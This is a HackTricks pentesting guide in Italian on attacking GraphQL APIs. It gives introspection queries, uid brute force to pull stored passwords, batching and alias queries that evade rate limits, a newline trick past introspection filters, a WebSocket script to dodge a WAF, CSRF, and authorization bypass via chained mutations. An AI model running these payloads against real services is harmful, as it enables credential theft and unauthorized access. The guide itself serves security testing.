hacktricks/network-services-pentesting/pentesting-web/graphql.md

29 KiB

GraphQL

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Introduzione

GraphQL è evidenziato come un alternativa efficiente alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una singola richiesta. Questa semplificazione beneficia notevolmente gli sviluppatori riducendo la complessità dei loro processi di recupero dati.

GraphQL e Sicurezza

Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che GraphQL non include meccanismi di autenticazione per impostazione predefinita. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, ponendo un rischio significativo per la sicurezza.

Attacchi di Brute Force alle Directory e GraphQL

Per identificare le istanze GraphQL esposte, si raccomanda di includere percorsi specifici negli attacchi di brute force alle directory. Questi percorsi sono:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Identificare le istanze GraphQL aperte consente di esaminare le query supportate. Questo è cruciale per comprendere i dati accessibili tramite l'endpoint. Il sistema di introspezione di GraphQL facilita questo fornendo dettagli sulle query supportate da uno schema. Per ulteriori informazioni su questo, fare riferimento alla documentazione di GraphQL sull'introspezione: GraphQL: A query language for APIs.

Fingerprint

Lo strumento graphw00f è in grado di rilevare quale motore GraphQL viene utilizzato in un server e poi stampa alcune informazioni utili per l'auditor di sicurezza.

Query universali

Per controllare se un URL è un servizio GraphQL, può essere inviata una query universale, query{__typename}. Se la risposta include {"data": {"__typename": "Query"}}, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo __typename di GraphQL, che rivela il tipo dell'oggetto interrogato.

query{__typename}

Enumerazione di Base

Graphql di solito supporta GET, POST (x-www-form-urlencoded) e POST(json). Anche se per motivi di sicurezza è consigliato consentire solo json per prevenire attacchi CSRF.

Introspezione

Per utilizzare l'introspezione per scoprire informazioni sullo schema, interroga il campo __schema. Questo campo è disponibile sul tipo radice di tutte le query.

query={__schema{types{name,fields{name}}}}

Con questa query troverai il nome di tutti i tipi utilizzati:

{% code overflow="wrap" %}

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

{% endcode %}

Con questa query puoi estrarre tutti i tipi, i loro campi e i loro argomenti (e il tipo degli argomenti). Questo sarà molto utile per sapere come interrogare il database.

Errori

È interessante sapere se gli errori verranno mostrati poiché contribuiranno con informazioni utili.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerare lo Schema del Database tramite Introspezione

{% hint style="info" %} Se l'introspezione è abilitata ma la query sopra non viene eseguita, prova a rimuovere le direttive onOperation, onFragment e onField dalla struttura della query. {% endhint %}

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Query di introspezione inline:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

L'ultima riga di codice è una query graphql che estrarrà tutte le meta-informazioni dal graphql (nomi degli oggetti, parametri, tipi...)

Se l'introspezione è abilitata, puoi utilizzare GraphQL Voyager per visualizzare in un'interfaccia grafica tutte le opzioni.

Querying

Ora che sappiamo che tipo di informazioni sono salvate nel database, proviamo a estrarre alcuni valori.

Nell'introspezione puoi trovare quale oggetto puoi interrogare direttamente (perché non puoi interrogare un oggetto solo perché esiste). Nell'immagine seguente puoi vedere che il "queryType" si chiama "Query" e che uno dei campi dell'oggetto "Query" è "flags", che è anche un tipo di oggetto. Pertanto, puoi interrogare l'oggetto flag.

Nota che il tipo della query "flags" è "Flags", e questo oggetto è definito come segue:

Puoi vedere che gli oggetti "Flags" sono composti da name e value. Quindi puoi ottenere tutti i nomi e i valori dei flag con la query:

query={flags{name, value}}

Nota che nel caso in cui l'oggetto da interrogare sia un tipo primitivo come stringa come nel seguente esempio

Puoi semplicemente interrogarlo con:

query={hiddenFlags}

In un altro esempio in cui c'erano 2 oggetti all'interno dell'oggetto di tipo "Query": "user" e "users".
Se questi oggetti non necessitano di alcun argomento per la ricerca, potresti recuperare tutte le informazioni da essi semplicemente chiedendo i dati che desideri. In questo esempio da Internet potresti estrarre i nomi utente e le password salvate:

Tuttavia, in questo esempio se provi a farlo ottieni questo errore:

Sembra che in qualche modo cercherà utilizzando l'argomento "uid" di tipo Int.
Comunque, già sapevamo che, nella sezione Basic Enumeration era stata proposta una query che ci mostrava tutte le informazioni necessarie: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Se leggi l'immagine fornita quando eseguo quella query vedrai che "user" aveva l'arg "uid" di tipo Int.

Quindi, eseguendo un leggero uid bruteforce ho scoperto che in uid=1 è stato recuperato un nome utente e una password:
query={user(uid:1){user,password}}

Nota che ho scoperto che potevo chiedere i parametri "user" e "password" perché se provo a cercare qualcosa che non esiste (query={user(uid:1){noExists}}) ottengo questo errore:

E durante la fase di enumerazione ho scoperto che l'oggetto "dbuser" aveva come campi "user" e "password.

Trucco di dump della stringa di query (grazie a @BinaryShadow_)

Se puoi cercare per un tipo di stringa, come: query={theusers(description: ""){username,password}} e cerchi una stringa vuota esso dump tutte le informazioni. (Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare utilizzando "theusers" tramite un campo String chiamato "description").

Ricerca

In questa configurazione, un database contiene persone e film. Le persone sono identificate dalla loro email e nome; i film dal loro nome e valutazione. Le persone possono essere amiche tra loro e avere anche film, indicando relazioni all'interno del database.

Puoi cercare persone per il nome e ottenere le loro email:

{
searchPerson(name: "John Doe") {
email
}
}

Puoi cercare persone per il nome e ottenere i loro film sottoscritti:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Nota come è indicato per recuperare il name dei subscribedMovies della persona.

Puoi anche cercare più oggetti contemporaneamente. In questo caso, viene effettuata una ricerca di 2 film:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

O anche relazioni di diversi oggetti utilizzando alias:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutazioni

Le mutazioni sono utilizzate per apportare modifiche lato server.

Nell'introspezione puoi trovare le mutazioni dichiarate. Nell'immagine seguente, il "MutationType" è chiamato "Mutation" e l'oggetto "Mutation" contiene i nomi delle mutazioni (come "addPerson" in questo caso):

In questa configurazione, un database contiene persone e film. Le persone sono identificate dalla loro email e nome; i film dal loro nome e valutazione. Le persone possono essere amiche tra loro e avere anche film, indicando relazioni all'interno del database.

Una mutazione per creare nuovi film all'interno del database può essere simile alla seguente (in questo esempio la mutazione è chiamata addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Nota come sia i valori che il tipo di dati sono indicati nella query.

Inoltre, il database supporta un'operazione di mutazione, chiamata addPerson, che consente la creazione di persone insieme alle loro associazioni con amici e film esistenti. È fondamentale notare che gli amici e i film devono esistere nel database prima di collegarli alla persona appena creata.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Direttiva Overloading

Come spiegato in una delle vulnerabilità descritte in questo rapporto, un overload di direttiva implica la chiamata di una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.

Batching brute-force in 1 richiesta API

Queste informazioni sono state tratte da https://lab.wallarm.com/graphql-batching-attack/.
Autenticazione tramite API GraphQL con invio simultaneo di molte query con credenziali diverse per verificarlo. È un attacco di brute force classico, ma ora è possibile inviare più di una coppia login/password per richiesta HTTP grazie alla funzionalità di batching di GraphQL. Questo approccio ingannerebbe le applicazioni esterne di monitoraggio del tasso, facendole pensare che tutto va bene e che non ci sia un bot di brute-forcing che cerca di indovinare le password.

Di seguito puoi trovare la dimostrazione più semplice di una richiesta di autenticazione dell'applicazione, con 3 coppie di email/password diverse alla volta. Ovviamente è possibile inviare migliaia in una singola richiesta nello stesso modo:

Come possiamo vedere dallo screenshot della risposta, la prima e la terza richiesta hanno restituito null e riflettevano le informazioni corrispondenti nella sezione error. La seconda mutazione aveva i dati di autenticazione corretti e la risposta ha il token di sessione di autenticazione corretto.

GraphQL Senza Introspezione

Sempre più endpoint graphql stanno disabilitando l'introspezione. Tuttavia, gli errori che graphql genera quando viene ricevuta una richiesta inaspettata sono sufficienti per strumenti come clairvoyance per ricreare la maggior parte dello schema.

Inoltre, l'estensione di Burp Suite GraphQuail osserva le richieste API GraphQL che passano attraverso Burp e costruisce uno schema GraphQL interno con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni controlla questo.

Una bella wordlist per scoprire entità GraphQL può essere trovata qui.

Bypassare le difese di introspezione GraphQL

Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un carattere speciale dopo la parola chiave __schema si è dimostrato efficace. Questo metodo sfrutta le comuni distrazioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave __schema. Aggiungendo caratteri come spazi, nuove righe e virgole, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo __schema può bypassare tali difese:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Se non hai successo, considera metodi di richiesta alternativi, come GET requests o POST con x-www-form-urlencoded, poiché le restrizioni potrebbero applicarsi solo alle richieste POST.

Prova WebSockets

Come menzionato in questo intervento, verifica se potrebbe essere possibile connettersi a graphQL tramite WebSockets, poiché ciò potrebbe consentirti di bypassare un potenziale WAF e far sì che la comunicazione websocket riveli lo schema del graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Scoprire Strutture GraphQL Esposte

Quando l'introspezione è disabilitata, esaminare il codice sorgente del sito web per query precaricate nelle librerie JavaScript è una strategia utile. Queste query possono essere trovate utilizzando la scheda Sources negli strumenti per sviluppatori, fornendo informazioni sullo schema dell'API e rivelando potenzialmente query sensibili esposte. I comandi per cercare all'interno degli strumenti per sviluppatori sono:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

Se non sai cos'è il CSRF, leggi la pagina seguente:

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} csrf-cross-site-request-forgery.md {% endcontent-ref %}

Là fuori puoi trovare diversi endpoint GraphQL configurati senza token CSRF.

Nota che le richieste GraphQL vengono solitamente inviate tramite richieste POST utilizzando il Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Tuttavia, la maggior parte degli endpoint GraphQL supporta anche form-urlencoded richieste POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate senza richieste preflight, è possibile eseguire modifiche nel GraphQL abusando di un CSRF.

Tuttavia, nota che il nuovo valore predefinito del cookie per il flag samesite di Chrome è Lax. Ciò significa che il cookie verrà inviato solo da un sito web di terze parti in richieste GET.

Nota che è solitamente possibile inviare la richiesta query anche come richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.

Inoltre, abusando di un XS-Search attacco potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.

Per ulteriori informazioni controlla il post originale qui.

Hijacking WebSocket cross-site in GraphQL

Simile alle vulnerabilità CRSF che abusano di GraphQL, è anche possibile eseguire un hijacking WebSocket cross-site per abusare di un'autenticazione con GraphQL con cookie non protetti e far eseguire all'utente azioni inaspettate in GraphQL.

Per ulteriori informazioni controlla:

{% content-ref url="../../pentesting-web/websocket-attacks.md" %} websocket-attacks.md {% endcontent-ref %}

Autorizzazione in GraphQL

Molte funzioni GraphQL definite sull'endpoint potrebbero controllare solo l'autenticazione del richiedente ma non l'autorizzazione.

Modificare le variabili di input della query potrebbe portare a dettagli sensibili dell'account leaked.

Le mutazioni potrebbero persino portare a un takeover dell'account tentando di modificare i dati di un altro account.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Bypass authorization in GraphQL

Chaining queries insieme può bypassare un sistema di autenticazione debole.

Nell'esempio sottostante puoi vedere che l'operazione è "forgotPassword" e che dovrebbe eseguire solo la query forgotPassword associata. Questo può essere bypassato aggiungendo una query alla fine, in questo caso aggiungiamo "register" e una variabile utente affinché il sistema registri un nuovo utente.

Bypassing Rate Limits Using Aliases in GraphQL

In GraphQL, gli alias sono una funzionalità potente che consente di nominare esplicitamente le proprietà quando si effettua una richiesta API. Questa capacità è particolarmente utile per recuperare più istanze dello stesso tipo di oggetto all'interno di una singola richiesta. Gli alias possono essere utilizzati per superare la limitazione che impedisce agli oggetti GraphQL di avere più proprietà con lo stesso nome.

Per una comprensione dettagliata degli alias GraphQL, si consiglia la seguente risorsa: Aliases.

Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il numero di richieste HTTP. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ciascuna richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.

Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe eludere la limitazione della velocità poiché compila diverse query in una sola richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Tools

Vulnerability scanners

Clients

Automatic Tests

{% embed url="https://graphql-dashboard.herokuapp.com/" %}

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}